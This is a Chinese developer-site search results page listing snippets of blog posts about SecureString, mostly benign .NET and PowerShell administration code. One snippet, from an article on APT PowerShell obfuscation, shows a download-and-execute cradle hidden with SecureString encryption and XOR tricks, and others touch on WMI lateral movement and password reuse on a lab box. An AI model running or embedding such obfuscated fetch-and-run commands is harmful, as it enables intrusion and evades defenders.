首页
学习
活动
专区
圈层
工具
发布
    • 综合排序
    • 最热优先
    • 最新优先
    时间不限
  • 来自专栏walterlv - 吕毅的博客

    如何让 .NET Core 命令行程序接受密码的输入而不显示密码明文

    需要注意的是,在 password 返回之前,我们调用了 SecureString.MakeReadOnly() 方法,将字符串设为只读,确保返回之后不会再被外面修改。 转换密码 当然,只有对安全级别比较高的库才会接受 SecureString 类型的字符串作为密码;一些简单的库只接受字符串类型的密码。那么在这些简单的库中我们如何才能得到普通的字符串呢? secureString) { return new NetworkCredential(string.Empty, secureString).Password; } 因为 NetworkCredential internal static string CreateString(SecureString secureString) { string plainString; IntPtr bstr = IntPtr.Zero; if (secureString == null || secureString.Length == 0) return String.Empty

    2.1K30发布于 2018-09-18
  • 来自专栏magicodes

    Sharepoint之配置向导创建DB失败

    service, Guid id, String applicationPoolId, IdentityType identityType, String applicationPoolUsername, SecureString administrationContentDatabase, SPWebService adminService, IdentityType identityType, String farmUser, SecureString SqlConnectionStringBuilder administrationContentDatabase, IdentityType identityType, String farmUser, SecureString SqlConnectionStringBuilder administrationContentDatabase, IdentityType identityType, String farmUser, SecureString farmPassword, SecureString masterPassphrase) 15: at Microsoft.SharePoint.Administration.SPFarm.Create

    1.7K40发布于 2018-12-27
  • 来自专栏运维开发王义杰

    windows: 通过普通域用户凭据远程修改其他用户密码

    脚本解析 以下是实现该任务的PowerShell脚本: # 部分1:密码修改 $username = "wang\w" $password = ConvertTo-SecureString "3" -AsPlainText New-Object System.Management.Automation.PSCredential($username, $password) $OldPassword = ConvertTo-SecureString -String "3" -AsPlainText -Force $NewPassword = ConvertTo-SecureString -String "5" -AsPlainText - Credential $credentials -WhatIf -Confirm } # 部分2:密码验证 $username = "wang\yijie" $password = ConvertTo-SecureString $username = "wang\w" $password = ConvertTo-SecureString "3" -AsPlainText -Force $credentials = New-Object

    1.2K40编辑于 2023-11-07
  • 来自专栏大内老A

    [WCF安全系列]谈谈WCF的客户端认证[Windows认证]

    public string UserName { get; set; } 12: public string Password { get; set; } 13: public SecureString 14: } 从上面给出的代码我们可以看到,NetworkCredential除了一个以String类型表示的Password属性之外,还有另一外一个相关的SecurePassword属性,其类型为SecureString SecureString对象与String对象的相似之处在于它也具有文本值。 但是,SecureString对象的值是自动加密的,在应用程序将它标记为只读之前可以进行修改,并且可由应用程序或.NET Framework垃圾回收器将其从计算机内存中删除。

    1.3K70发布于 2018-02-07
  • 来自专栏huofo's blog

    【Azure微服务 Service Fabric 】使用az命令创建Service Fabric集群

    $certpwd="Password#1234" | ConvertTo-SecureString -AsPlainText -Force $certfolder="c:\mycertificates\ $adminuser="vmadmin" $adminpwd="Password#1234" | ConvertTo-SecureString -AsPlainText -Force # Variables $certpwd="Password#1234" | ConvertTo-SecureString -AsPlainText -Force $certfolder="c:\mycertificates\ $adminuser="vmadmin" $adminpwd="Password#1234" | ConvertTo-SecureString -AsPlainText -Force # Variables

    3.5K20编辑于 2022-03-16
  • 来自专栏Windows运维

    如何禁用或启用账户密码要求?

    禁用密码要求: Set-LocalUser -Name "用户名" -Password (ConvertTo-SecureString "" -AsPlainText -Force)将“用户名”替换为实际值 启用密码要求: Set-LocalUser -Name "用户名" -Password (ConvertTo-SecureString "新密码" -AsPlainText -Force)

    1.4K10编辑于 2025-03-22
  • 来自专栏华来四Azure混合云

    在Azure Stack上部署Kubernetes

    $CloudAdminPass = ConvertTo-SecureString "Password" -AsPlainText -Force $cloudAdminCredential = New-Object $CloudAdminPass) $serviceAdmin = "AdminName@TenantName.partner.onmschina.cn" $AdminPass = ConvertTo-SecureString AdminPass) $TenantAdmin = "TenantUser@TenantName.partner.onmschina.cn" $TenantAdminPass = ConvertTo-SecureString New-AzureRmADApplication: The parameter "Password" is beingchanged from a string to a SecureString in

    93220发布于 2019-04-24
  • 来自专栏全栈工程师修炼之路

    PS命令之账户安全票据生成管理

    Password # -------- -------- # WEIYIGEEK\WeiyiGeek System.Security.SecureString $User = "Domain01\User01" $PWord = ConvertTo-SecureString -String "P@sSwOrd" -AsPlainText -Force $Credential

    89420编辑于 2022-09-29
  • 来自专栏EdisonTalk

    .NET基础拾遗(3)字符串、集合和流

    1.4 简述SecureString安全字符串的特点和用法   也许很多人都是第一次知道还有SecureString这样一个类型,我也不例外。 SecureString并不是一个常用的类型,但在一些拥有特殊需求的额场合,它就会有很大的作用。 对于该问题唯一的解决办法就是在字符串的获得过程中直接进行加密,SecureString的设计初衷就是解决该类问题。    (2)为了保证安全性,SecureString是被分配在非托管内存上的(而普通String是被分配在托管内存中的),并且SecureString的对象从分配的一开始就以加密的形式存在,我们所有对于SecureString ss = new SecureString()) { // 只能逐字符地操作SecureString对象 ss.AppendChar

    2.4K10发布于 2018-08-20
  • 来自专栏运维开发王义杰

    Windows:通过PowerShell实现普通用户修改自身密码

    System.DirectoryServices.AccountManagement.UserPrincipal]::FindByIdentity($principalContext, [Environment]::UserName) $oldPassword = ConvertTo-SecureString 'Admin_123457' -AsPlainText -Force $newPassword = ConvertTo-SecureString 'Admin_123458' -AsPlainText

    1.8K10编辑于 2023-08-16
  • 来自专栏华来四Azure混合云

    在中国区Azure Stack上部署Kubernetes

    请替换密码值 $CloudAdminPass = ConvertTo-SecureString "Password" -AsPlainText -Force 请替换CloudAdmin的账户名称,ASDK $serviceAdmin = "AdminName@TenantName.partner.onmschina.cn" $AdminPass = ConvertTo-SecureString "Password $TenantAdmin = "TenantUser@TenantName.partner.onmschina.cn" $TenantAdminPass = ConvertTo-SecureString New-AzureRmADApplication: The parameter "Password" is beingchanged from a string to a SecureString in

    1.3K60发布于 2019-04-24
  • 来自专栏华来四Azure混合云

    在Azure Stack上部署Kubernetes

    $CloudAdminPass = ConvertTo-SecureString "Password" -AsPlainText -Force $cloudAdminCredential = New-Object $CloudAdminPass) $serviceAdmin = "AdminName@TenantName.partner.onmschina.cn" $AdminPass = ConvertTo-SecureString AdminPass) $TenantAdmin = "TenantUser@TenantName.partner.onmschina.cn" $TenantAdminPass = ConvertTo-SecureString New-AzureRmADApplication: The parameter "Password" is beingchanged from a string to a SecureString in

    1K20发布于 2019-03-05
  • 来自专栏Windows技术交流

    慎用net user Administrator "密码"的双引号

    密码示例:Abc'''def321(包含 3 个连续单引号) $pwPlain = 'Abc''''''def321' # 6 个单引号代表字面上的 3 个单引号 $pw = ConvertTo-SecureString quotes = [string]::new([char]39, 3) $pwPlain = 'Abc' + $quotes + 'def321' $pwPlain $secure = ConvertTo-SecureString /Administrator,user" $user.SetPassword($pwPlain) 一旦把密码构造成变量($pwPlain),Set-LocalUser / ConvertTo-SecureString

    28010编辑于 2025-09-15
  • 来自专栏运维开发王义杰

    PowerShell:在 Windows 中创建并导出自签名证书

    以下是一个导出 PFX 文件的例子: $pwd = ConvertTo-SecureString -String "Admin_123456" -Force -AsPlainText Get-ChildItem KeyExchange"; "KeyExportPolicy" = "Exportable"; } New-SelfSignedCertificate @param $pwd = ConvertTo-SecureString

    5.1K20编辑于 2023-08-10
  • 来自专栏Windows技术交流

    TAT执行远程操作时指定用户名的话一定要在用户名之前加.\

    \Administrator'$Password = '密码'$pass = ConvertTo-SecureString -AsPlainText $Password -Force$Cred = New-Object \Administrator'$Password = '密码'$pass = ConvertTo-SecureString -AsPlainText $Password -Force$Cred = New-Object

    1.2K31编辑于 2023-03-15
  • 来自专栏七夜安全博客

    APT的思考: PowerShell命令混淆高级对抗

    ,16)-as[CHAR]) })-JOIn ''|&( $sheLLID[1]+$ShELliD[13]+'X') BXOR bytes[i] = bytes[i] -BXOR 0xAA 6.4 SecureString SecureString其实是一种加解密的方式,通过密钥,对脚本进行加解密 ,实现脚本的混淆。 Invoke-Expression (New-Object Net.WebClient).DownloadString('http://127.0.0.1:8899/qiye.txt')" $secCmd= ConvertTo-SecureString $cmd -AsPlainText -Force $secCmdPlaintext= $secCmd| ConvertFrom-SecureString -Key (1..16) $secCmd= $secCmdPlaintext| ConvertTo-SecureString -Key (1..16); ([System.Runtime.InteropServices.Marshal]::PtrToStringAuto

    7.1K52发布于 2020-06-05
  • 来自专栏python3

    Windows Server TP3之N

    TargetPath C:\vm\NanoServerVM  -GuestDrivers -ComputerName NanoServerVM-AdministratorPassword (convertto-securestring

    60820发布于 2020-01-14
  • 来自专栏鸿鹄实验室

    绕过监控添加用户(二)

    A" $Password = ConvertTo-SecureString $P -AsPlainText -Force New-LocalUser $Username -Password $Password

    75450发布于 2021-04-15
  • 来自专栏betasec

    Chatterbox(hack the box系列)

    撞一下密码:(这里没想到的是这台win 7 竟然装了powershell) $pass = convertTo-SecureString 'Welcome1!'

    69510发布于 2020-07-31
  • 来自专栏Ms08067安全实验室

    WMI ——重写版

    无法建立会话,可以使用 -Protocol 参数退回到DCOM #WMI Cmdlets $Username ="0day\Administrator" $Password = ConvertTo-SecureString $Username ="0day\Administrator" $Password = ConvertTo-SecureString "Admin! ---- 这里给出了两种协议的 代码执行和横向移动方式,基本都类似: 支持Kerberos $Username ="0day\Administrator" $Password = ConvertTo-SecureString WIN-B85AAA7ST4U\Administrator’ 这是原版代码,下面是我修改的代码 $Username ="0day\Administrator" $Password = ConvertTo-SecureString – C2 Communication (Registry) – “Pull” Attack $Username ="0day\Administrator" $Password = ConvertTo-SecureString

    2.7K10发布于 2020-08-12
领券